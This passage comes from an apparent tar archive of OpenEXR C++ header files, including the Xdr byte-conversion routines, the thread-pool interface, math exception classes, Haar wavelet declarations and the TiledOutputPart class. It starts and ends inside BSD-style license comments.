INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_XDR_H #define INCLUDED_IMF_XDR_H //---------------------------------------------------------------------------- // // Xdr -- routines to convert data between the machine's native // format and a machine-independent external data representation: // // write<R> (T &o, S v); converts a value, v, of type S // into a machine-independent // representation and stores the // result in an output buffer, o. // // read<R> (T &i, S &v); reads the machine-independent // representation of a value of type // S from input buffer i, converts // the value into the machine's native // representation, and stores the result // in v. // // size<S>(); returns the size, in bytes, of the // machine-independent representation // of an object of type S. // // The write() and read() routines are templates; data can be written // to and read from any output or input buffer type T for which a helper // class, R, exits. Class R must define a method to store a char array // in a T, and a method to read a char array from a T: // // struct R // { // static void // writeChars (T &o, const char c[/*n*/], int n) // { // ... // Write c[0], c[1] ... c[n-1] to output buffer o. // } // // static void // readChars (T &i, char c[/*n*/], int n) // { // ... // Read n characters from input buffer i // // and copy them to c[0], c[1] ... c[n-1]. // } // }; // // Example - writing to and reading from iostreams: // // struct CharStreamIO // { // static void // writeChars (ostream &os, const char c[], int n) // { // os.write (c, n); // } // // static void // readChars (istream &is, char c[], int n) // { // is.read (c, n); // } // }; // // ... // // Xdr::write<CharStreamIO> (os, 3); // Xdr::write<CharStreamIO> (os, 5.0); // //---------------------------------------------------------------------------- #include "ImfInt64.h" #include "IexMathExc.h" #include "half.h" #include <limits.h> #include "ImfNamespace.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER namespace Xdr { //------------------------------- // Write data to an output stream //------------------------------- template <class S, class T> void write (T &out, bool v); template <class S, class T> void write (T &out, char v); template <class S, class T> void write (T &out, signed char v); template <class S, class T> void write (T &out, unsigned char v); template <class S, class T> void write (T &out, signed short v); template <class S, class T> void write (T &out, unsigned short v); template <class S, class T> void write (T &out, signed int v); template <class S, class T> void write (T &out, unsigned int v); template <class S, class T> void write (T &out, signed long v); template <class S, class T> void write (T &out, unsigned long v); #if ULONG_MAX != 18446744073709551615LU template <class S, class T> void write (T &out, Int64 v); #endif template <class S, class T> void write (T &out, float v); template <class S, class T> void write (T &out, double v); template <class S, class T> void write (T &out, half v); template <class S, class T> void write (T &out, const char v[/*n*/], int n); // fixed-size char array template <class S, class T> void write (T &out, const char v[]); // zero-terminated string //----------------------------------------- // Append padding bytes to an output stream //----------------------------------------- template <class S, class T> void pad (T &out, int n); // write n padding bytes //------------------------------- // Read data from an input stream //------------------------------- template <class S, class T> void read (T &in, bool &v); template <class S, class T> void read (T &in, char &v); template <class S, class T> void read (T &in, signed char &v); template <class S, class T> void read (T &in, unsigned char &v); template <class S, class T> void read (T &in, signed short &v); template <class S, class T> void read (T &in, unsigned short &v); template <class S, class T> void read (T &in, signed int &v); template <class S, class T> void read (T &in, unsigned int &v); template <class S, class T> void read (T &in, signed long &v); template <class S, class T> void read (T &in, unsigned long &v); #if ULONG_MAX != 18446744073709551615LU template <class S, class T> void read (T &in, Int64 &v); #endif template <class S, class T> void read (T &in, float &v); template <class S, class T> void read (T &in, double &v); template <class S, class T> void read (T &in, half &v); template <class S, class T> void read (T &in, char v[/*n*/], int n); // fixed-size char array template <class S, class T> void read (T &in, int n, char v[/*n*/]); // zero-terminated string //------------------------------------------- // Skip over padding bytes in an input stream //------------------------------------------- template <class S, class T> void skip (T &in, int n); // skip n padding bytes //-------------------------------------- // Size of the machine-independent // representation of an object of type S //-------------------------------------- template <class S> int size (); //--------------- // Implementation //--------------- template <class S, class T> inline void writeSignedChars (T &out, const signed char c[], int n) { S::writeChars (out, (const char *) c, n); } template <class S, class T> inline void writeUnsignedChars (T &out, const unsigned char c[], int n) { S::writeChars (out, (const char *) c, n); } template <class S, class T> inline void readSignedChars (T &in, signed char c[], int n) { S::readChars (in, (char *) c, n); } template <class S, class T> inline void readUnsignedChars (T &in, unsigned char c[], int n) { S::readChars (in, (char *) c, n); } template <class S, class T> inline void write (T &out, bool v) { char c = !!v; S::writeChars (out, &c, 1); } template <class S, class T> inline void write (T &out, char v) { S::writeChars (out, &v, 1); } template <class S, class T> inline void write (T &out, signed char v) { writeSignedChars<S> (out, &v, 1); } template <class S, class T> inline void write (T &out, unsigned char v) { writeUnsignedChars<S> (out, &v, 1); } template <class S, class T> void write (T &out, signed short v) { signed char b[2]; b[0] = (signed char) (v); b[1] = (signed char) (v >> 8); writeSignedChars<S> (out, b, 2); } template <class S, class T> void write (T &out, unsigned short v) { unsigned char b[2]; b[0] = (unsigned char) (v); b[1] = (unsigned char) (v >> 8); writeUnsignedChars<S> (out, b, 2); } template <class S, class T> void write (T &out, signed int v) { signed char b[4]; b[0] = (signed char) (v); b[1] = (signed char) (v >> 8); b[2] = (signed char) (v >> 16); b[3] = (signed char) (v >> 24); writeSignedChars<S> (out, b, 4); } template <class S, class T> void write (T &out, unsigned int v) { unsigned char b[4]; b[0] = (unsigned char) (v); b[1] = (unsigned char) (v >> 8); b[2] = (unsigned char) (v >> 16); b[3] = (unsigned char) (v >> 24); writeUnsignedChars<S> (out, b, 4); } template <class S, class T> void write (T &out, signed long v) { signed char b[8]; b[0] = (signed char) (v); b[1] = (signed char) (v >> 8); b[2] = (signed char) (v >> 16); b[3] = (signed char) (v >> 24); #if LONG_MAX == 2147483647 if (v >= 0) { b[4] = 0; b[5] = 0; b[6] = 0; b[7] = 0; } else { b[4] = ~0; b[5] = ~0; b[6] = ~0; b[7] = ~0; } #elif LONG_MAX == 9223372036854775807L b[4] = (signed char) (v >> 32); b[5] = (signed char) (v >> 40); b[6] = (signed char) (v >> 48); b[7] = (signed char) (v >> 56); #else #error write<T> (T &out, signed long v) not implemented #endif writeSignedChars<S> (out, b, 8); } template <class S, class T> void write (T &out, unsigned long v) { unsigned char b[8]; b[0] = (unsigned char) (v); b[1] = (unsigned char) (v >> 8); b[2] = (unsigned char) (v >> 16); b[3] = (unsigned char) (v >> 24); #if ULONG_MAX == 4294967295U b[4] = 0; b[5] = 0; b[6] = 0; b[7] = 0; #elif ULONG_MAX == 18446744073709551615LU b[4] = (unsigned char) (v >> 32); b[5] = (unsigned char) (v >> 40); b[6] = (unsigned char) (v >> 48); b[7] = (unsigned char) (v >> 56); #else #error write<T> (T &out, unsigned long v) not implemented #endif writeUnsignedChars<S> (out, b, 8); } #if ULONG_MAX != 18446744073709551615LU template <class S, class T> void write (T &out, Int64 v) { unsigned char b[8]; b[0] = (unsigned char) (v); b[1] = (unsigned char) (v >> 8); b[2] = (unsigned char) (v >> 16); b[3] = (unsigned char) (v >> 24); b[4] = (unsigned char) (v >> 32); b[5] = (unsigned char) (v >> 40); b[6] = (unsigned char) (v >> 48); b[7] = (unsigned char) (v >> 56); writeUnsignedChars<S> (out, b, 8); } #endif template <class S, class T> void write (T &out, float v) { union {unsigned int i; float f;} u; u.f = v; unsigned char b[4]; b[0] = (unsigned char) (u.i); b[1] = (unsigned char) (u.i >> 8); b[2] = (unsigned char) (u.i >> 16); b[3] = (unsigned char) (u.i >> 24); writeUnsignedChars<S> (out, b, 4); } template <class S, class T> void write (T &out, double v) { union {Int64 i; double d;} u; u.d = v; unsigned char b[8]; b[0] = (unsigned char) (u.i); b[1] = (unsigned char) (u.i >> 8); b[2] = (unsigned char) (u.i >> 16); b[3] = (unsigned char) (u.i >> 24); b[4] = (unsigned char) (u.i >> 32); b[5] = (unsigned char) (u.i >> 40); b[6] = (unsigned char) (u.i >> 48); b[7] = (unsigned char) (u.i >> 56); writeUnsignedChars<S> (out, b, 8); } template <class S, class T> inline void write (T &out, half v) { unsigned char b[2]; b[0] = (unsigned char) (v.bits()); b[1] = (unsigned char) (v.bits() >> 8); writeUnsignedChars<S> (out, b, 2); } template <class S, class T> inline void write (T &out, const char v[], int n) // fixed-size char array { S::writeChars (out, v, n); } template <class S, class T> void write (T &out, const char v[]) // zero-terminated string { while (*v) { S::writeChars (out, v, 1); ++v; } S::writeChars (out, v, 1); } template <class S, class T> void pad (T &out, int n) // add n padding bytes { for (int i = 0; i < n; i++) { const char c = 0; S::writeChars (out, &c, 1); } } template <class S, class T> inline void read (T &in, bool &v) { char c; S::readChars (in, &c, 1); v = !!c; } template <class S, class T> inline void read (T &in, char &v) { S::readChars (in, &v, 1); } template <class S, class T> inline void read (T &in, signed char &v) { readSignedChars<S> (in, &v, 1); } template <class S, class T> inline void read (T &in, unsigned char &v) { readUnsignedChars<S> (in, &v, 1); } template <class S, class T> void read (T &in, signed short &v) { signed char b[2]; readSignedChars<S> (in, b, 2); v = (b[0] & 0x00ff) | (b[1] << 8); } template <class S, class T> void read (T &in, unsigned short &v) { unsigned char b[2]; readUnsignedChars<S> (in, b, 2); v = (b[0] & 0x00ff) | (b[1] << 8); } template <class S, class T> void read (T &in, signed int &v) { signed char b[4]; readSignedChars<S> (in, b, 4); v = (b[0] & 0x000000ff) | ((b[1] << 8) & 0x0000ff00) | ((b[2] << 16) & 0x00ff0000) | (b[3] << 24); } template <class S, class T> void read (T &in, unsigned int &v) { unsigned char b[4]; readUnsignedChars<S> (in, b, 4); v = (b[0] & 0x000000ff) | ((b[1] << 8) & 0x0000ff00) | ((b[2] << 16) & 0x00ff0000) | (b[3] << 24); } template <class S, class T> void read (T &in, signed long &v) { signed char b[8]; readSignedChars<S> (in, b, 8); #if LONG_MAX == 2147483647 v = (b[0] & 0x000000ff) | ((b[1] << 8) & 0x0000ff00) | ((b[2] << 16) & 0x00ff0000) | (b[3] << 24); if (( b[4] || b[5] || b[6] || b[7]) && (~b[4] || ~b[5] || ~b[6] || ~b[7])) { throw IEX_NAMESPACE::OverflowExc ("Long int overflow - read a large " "64-bit integer in a 32-bit process."); } #elif LONG_MAX == 9223372036854775807L v = ((long) b[0] & 0x00000000000000ff) | (((long) b[1] << 8) & 0x000000000000ff00) | (((long) b[2] << 16) & 0x0000000000ff0000) | (((long) b[3] << 24) & 0x00000000ff000000) | (((long) b[4] << 32) & 0x000000ff00000000) | (((long) b[5] << 40) & 0x0000ff0000000000) | (((long) b[6] << 48) & 0x00ff000000000000) | ((long) b[7] << 56); #else #error read<T> (T &in, signed long &v) not implemented #endif } template <class S, class T> void read (T &in, unsigned long &v) { unsigned char b[8]; readUnsignedChars<S> (in, b, 8); #if ULONG_MAX == 4294967295U v = (b[0] & 0x000000ff) | ((b[1] << 8) & 0x0000ff00) | ((b[2] << 16) & 0x00ff0000) | (b[3] << 24); if (b[4] || b[5] || b[6] || b[7]) { throw IEX_NAMESPACE::OverflowExc ("Long int overflow - read a large " "64-bit integer in a 32-bit process."); } #elif ULONG_MAX == 18446744073709551615LU v = ((unsigned long) b[0] & 0x00000000000000ff) | (((unsigned long) b[1] << 8) & 0x000000000000ff00) | (((unsigned long) b[2] << 16) & 0x0000000000ff0000) | (((unsigned long) b[3] << 24) & 0x00000000ff000000) | (((unsigned long) b[4] << 32) & 0x000000ff00000000) | (((unsigned long) b[5] << 40) & 0x0000ff0000000000) | (((unsigned long) b[6] << 48) & 0x00ff000000000000) | ((unsigned long) b[7] << 56); #else #error read<T> (T &in, unsigned long &v) not implemented #endif } #if ULONG_MAX != 18446744073709551615LU template <class S, class T> void read (T &in, Int64 &v) { unsigned char b[8]; readUnsignedChars<S> (in, b, 8); v = ((Int64) b[0] & 0x00000000000000ffLL) | (((Int64) b[1] << 8) & 0x000000000000ff00LL) | (((Int64) b[2] << 16) & 0x0000000000ff0000LL) | (((Int64) b[3] << 24) & 0x00000000ff000000LL) | (((Int64) b[4] << 32) & 0x000000ff00000000LL) | (((Int64) b[5] << 40) & 0x0000ff0000000000LL) | (((Int64) b[6] << 48) & 0x00ff000000000000LL) | ((Int64) b[7] << 56); } #endif template <class S, class T> void read (T &in, float &v) { unsigned char b[4]; readUnsignedChars<S> (in, b, 4); union {unsigned int i; float f;} u; u.i = (b[0] & 0x000000ff) | ((b[1] << 8) & 0x0000ff00) | ((b[2] << 16) & 0x00ff0000) | (b[3] << 24); v = u.f; } template <class S, class T> void read (T &in, double &v) { unsigned char b[8]; readUnsignedChars<S> (in, b, 8); union {Int64 i; double d;} u; u.i = ((Int64) b[0] & 0x00000000000000ffULL) | (((Int64) b[1] << 8) & 0x000000000000ff00ULL) | (((Int64) b[2] << 16) & 0x0000000000ff0000ULL) | (((Int64) b[3] << 24) & 0x00000000ff000000ULL) | (((Int64) b[4] << 32) & 0x000000ff00000000ULL) | (((Int64) b[5] << 40) & 0x0000ff0000000000ULL) | (((Int64) b[6] << 48) & 0x00ff000000000000ULL) | ((Int64) b[7] << 56); v = u.d; } template <class S, class T> inline void read (T &in, half &v) { unsigned char b[2]; readUnsignedChars<S> (in, b, 2); v.setBits ((b[0] & 0x00ff) | (b[1] << 8)); } template <class S, class T> inline void read (T &in, char v[], int n) // fixed-size char array { S::readChars (in, v, n); } template <class S, class T> void read (T &in, int n, char v[]) // zero-terminated string { while (n >= 0) { S::readChars (in, v, 1); if (*v == 0) break; --n; ++v; } } template <class S, class T> void skip (T &in, int n) // skip n padding bytes { char c[1024]; while (n >= (int) sizeof (c)) { if (!S::readChars (in, c, sizeof (c))) return; n -= sizeof (c); } if (n >= 1) S::readChars (in, c, n); } template <> inline int size <bool> () {return 1;} template <> inline int size <char> () {return 1;} template <> inline int size <signed char> () {return 1;} template <> inline int size <unsigned char> () {return 1;} template <> inline int size <signed short> () {return 2;} template <> inline int size <unsigned short> () {return 2;} template <> inline int size <signed int> () {return 4;} template <> inline int size <unsigned int> () {return 4;} template <> inline int size <signed long> () {return 8;} template <> inline int size <unsigned long> () {return 8;} template <> inline int size <unsigned long long> () {return 8;} template <> inline int size <float> () {return 4;} template <> inline int size <double> () {return 8;} template <> inline int size <half> () {return 2;} } // namespace Xdr OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #if defined (OPENEXR_IMF_INTERNAL_NAMESPACE_AUTO_EXPOSE) namespace Imf{using namespace OPENEXR_IMF_INTERNAL_NAMESPACE;} #endif #endif OpenEXR/ImfFloatAttribute.h 0000644 00000004407 15246445047 0011602 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2002, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_FLOAT_ATTRIBUTE_H #define INCLUDED_IMF_FLOAT_ATTRIBUTE_H //----------------------------------------------------------------------------- // // class FloatAttribute // //----------------------------------------------------------------------------- #include "ImfAttribute.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER typedef TypedAttribute<float> FloatAttribute; template <> IMF_EXPORT const char *FloatAttribute::staticTypeName (); OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/IlmThreadPool.h 0000644 00000012325 15246445047 0010716 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2005-2012, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_ILM_THREAD_POOL_H #define INCLUDED_ILM_THREAD_POOL_H //----------------------------------------------------------------------------- // // class Task, class ThreadPool, class TaskGroup // // Class ThreadPool manages a set of worker threads and accepts // tasks for processing. Tasks added to the thread pool are // executed concurrently by the worker threads. // // Class Task provides an abstract interface for a task which // a ThreadPool works on. Derived classes need to implement the // execute() function which performs the actual task. // // Class TaskGroup allows synchronization on the completion of a set // of tasks. Every task that is added to a ThreadPool belongs to a // single TaskGroup. The destructor of the TaskGroup waits for all // tasks in the group to finish. // // Note: if you plan to use the ThreadPool interface in your own // applications note that the implementation of the ThreadPool calls // operator delete on tasks as they complete. If you define a custom // operator new for your tasks, for instance to use a custom heap, // then you must also write an appropriate operator delete. // //----------------------------------------------------------------------------- #include "IlmThreadNamespace.h" #include "IlmThreadExport.h" ILMTHREAD_INTERNAL_NAMESPACE_HEADER_ENTER class TaskGroup; class Task; class ILMTHREAD_EXPORT ThreadPool { public: //------------------------------------------------------- // Constructor -- creates numThreads worker threads which // wait until a task is available. //------------------------------------------------------- ThreadPool (unsigned numThreads = 0); //----------------------------------------------------------- // Destructor -- waits for all tasks to complete, joins all // the threads to the calling thread, and then destroys them. //----------------------------------------------------------- virtual ~ThreadPool (); //-------------------------------------------------------- // Query and set the number of worker threads in the pool. // // Warning: never call setNumThreads from within a worker // thread as this will almost certainly cause a deadlock // or crash. //-------------------------------------------------------- int numThreads () const; void setNumThreads (int count); //------------------------------------------------------------ // Add a task for processing. The ThreadPool can handle any // number of tasks regardless of the number of worker threads. // The tasks are first added onto a queue, and are executed // by threads as they become available, in FIFO order. //------------------------------------------------------------ void addTask (Task* task); //------------------------------------------- // Access functions for the global threadpool //------------------------------------------- static ThreadPool& globalThreadPool (); static void addGlobalTask (Task* task); struct Data; protected: Data * _data; }; class ILMTHREAD_EXPORT Task { public: Task (TaskGroup* g); virtual ~Task (); virtual void execute () = 0; TaskGroup * group(); protected: TaskGroup * _group; }; class ILMTHREAD_EXPORT TaskGroup { public: TaskGroup(); ~TaskGroup(); struct Data; Data* const _data; }; ILMTHREAD_INTERNAL_NAMESPACE_HEADER_EXIT #endif // INCLUDED_ILM_THREAD_POOL_H OpenEXR/IexMathExc.h 0000644 00000004642 15246445047 0010215 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2002-2012, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IEXMATHEXC_H #define INCLUDED_IEXMATHEXC_H #include "IexBaseExc.h" IEX_INTERNAL_NAMESPACE_HEADER_ENTER //--------------------------------------------------------- // Exception classess which correspond to specific floating // point exceptions. //--------------------------------------------------------- DEFINE_EXC (OverflowExc, MathExc) // Overflow DEFINE_EXC (UnderflowExc, MathExc) // Underflow DEFINE_EXC (DivzeroExc, MathExc) // Division by zero DEFINE_EXC (InexactExc, MathExc) // Inexact result DEFINE_EXC (InvalidFpOpExc, MathExc) // Invalid operation IEX_INTERNAL_NAMESPACE_HEADER_EXIT #endif // INCLUDED_IEXMATHEXC_H OpenEXR/ImfWav.h 0000644 00000005351 15246445047 0007405 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2002, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_WAV_H #define INCLUDED_IMF_WAV_H //----------------------------------------------------------------------------- // // 16-bit Haar Wavelet encoding and decoding // //----------------------------------------------------------------------------- #include "ImfNamespace.h" #include "ImfExport.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER IMF_EXPORT void wav2Encode (unsigned short *in, // io: values in[y][x] are transformed in place int nx, // i : x size int ox, // i : x offset int ny, // i : y size int oy, // i : y offset unsigned short mx); // i : maximum in[x][y] value IMF_EXPORT void wav2Decode (unsigned short *in, // io: values in[y][x] are transformed in place int nx, // i : x size int ox, // i : x offset int ny, // i : y size int oy, // i : y offset unsigned short mx); // i : maximum in[x][y] value OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImfTiledOutputPart.h 0000644 00000011401 15246445047 0011752 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2011, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef IMFTILEDOUTPUTPART_H_ #define IMFTILEDOUTPUTPART_H_ #include "ImfMultiPartOutputFile.h" #include "ImfTiledOutputFile.h" #include "ImfForward.h" #include "ImfExport.h" #include "ImfNamespace.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER //------------------------------------------------------------------------------- // class TiledOutputPart: // // Same interface as TiledOutputFile. Please have a reference to TiledOutputFile. //------------------------------------------------------------------------------- class IMF_EXPORT TiledOutputPart { public: TiledOutputPart(MultiPartOutputFile& multiPartFile, int partNumber); const char * fileName () const; const Header & header () const; void setFrameBuffer (const FrameBuffer &frameBuffer); const FrameBuffer & frameBuffer () const; unsigned int tileXSize () const; unsigned int tileYSize () const; LevelMode levelMode () const; LevelRoundingMode levelRoundingMode () const; int numLevels () const; int numXLevels () const; int numYLevels () const; bool isValidLevel (int lx, int ly) const; int levelWidth (int lx) const; int levelHeight (int ly) const; int numXTiles (int lx = 0) const; int numYTiles (int ly = 0) const; IMATH_NAMESPACE::Box2i dataWindowForLevel (int l = 0) const; IMATH_NAMESPACE::Box2i dataWindowForLevel (int lx, int ly) const; IMATH_NAMESPACE::Box2i dataWindowForTile (int dx, int dy, int l = 0) const; IMATH_NAMESPACE::Box2i dataWindowForTile (int dx, int dy, int lx, int ly) const; void writeTile (int dx, int dy, int l = 0); void writeTile (int dx, int dy, int lx, int ly); void writeTiles (int dx1, int dx2, int dy1, int dy2, int lx, int ly); void writeTiles (int dx1, int dx2, int dy1, int dy2, int l = 0); void copyPixels (TiledInputFile &in); void copyPixels (InputFile &in); void copyPixels (TiledInputPart &in); void copyPixels (InputPart &in); void updatePreviewImage (const PreviewRgba newPixels[]); void breakTile (int dx, int dy, int lx, int ly, int offset, int length, char c); private: TiledOutputFile* file; }; OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif /* IMFTILEDOUTPUTPART_H_ */ OpenEXR/ImfRgbaYca.h 0000644 00000020327 15246445047 0010160 0 ustar 00 #ifndef INCLUDED_IMF_RGBA_YCA_H #define INCLUDED_IMF_RGBA_YCA_H ////////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2004, Industrial Light & Magic, a division of Lucasfilm // Entertainment Company Ltd. Portions contributed and copyright held by // others as indicated. All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // // * Redistributions of source code must retain the above // copyright notice, this list of conditions and the following // disclaimer. // // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following // disclaimer in the documentation and/or other materials provided with // the distribution. // // * Neither the name of Industrial Light & Magic nor the names of // any other contributors to this software may be used to endorse or // promote products derived from this software without specific prior // written 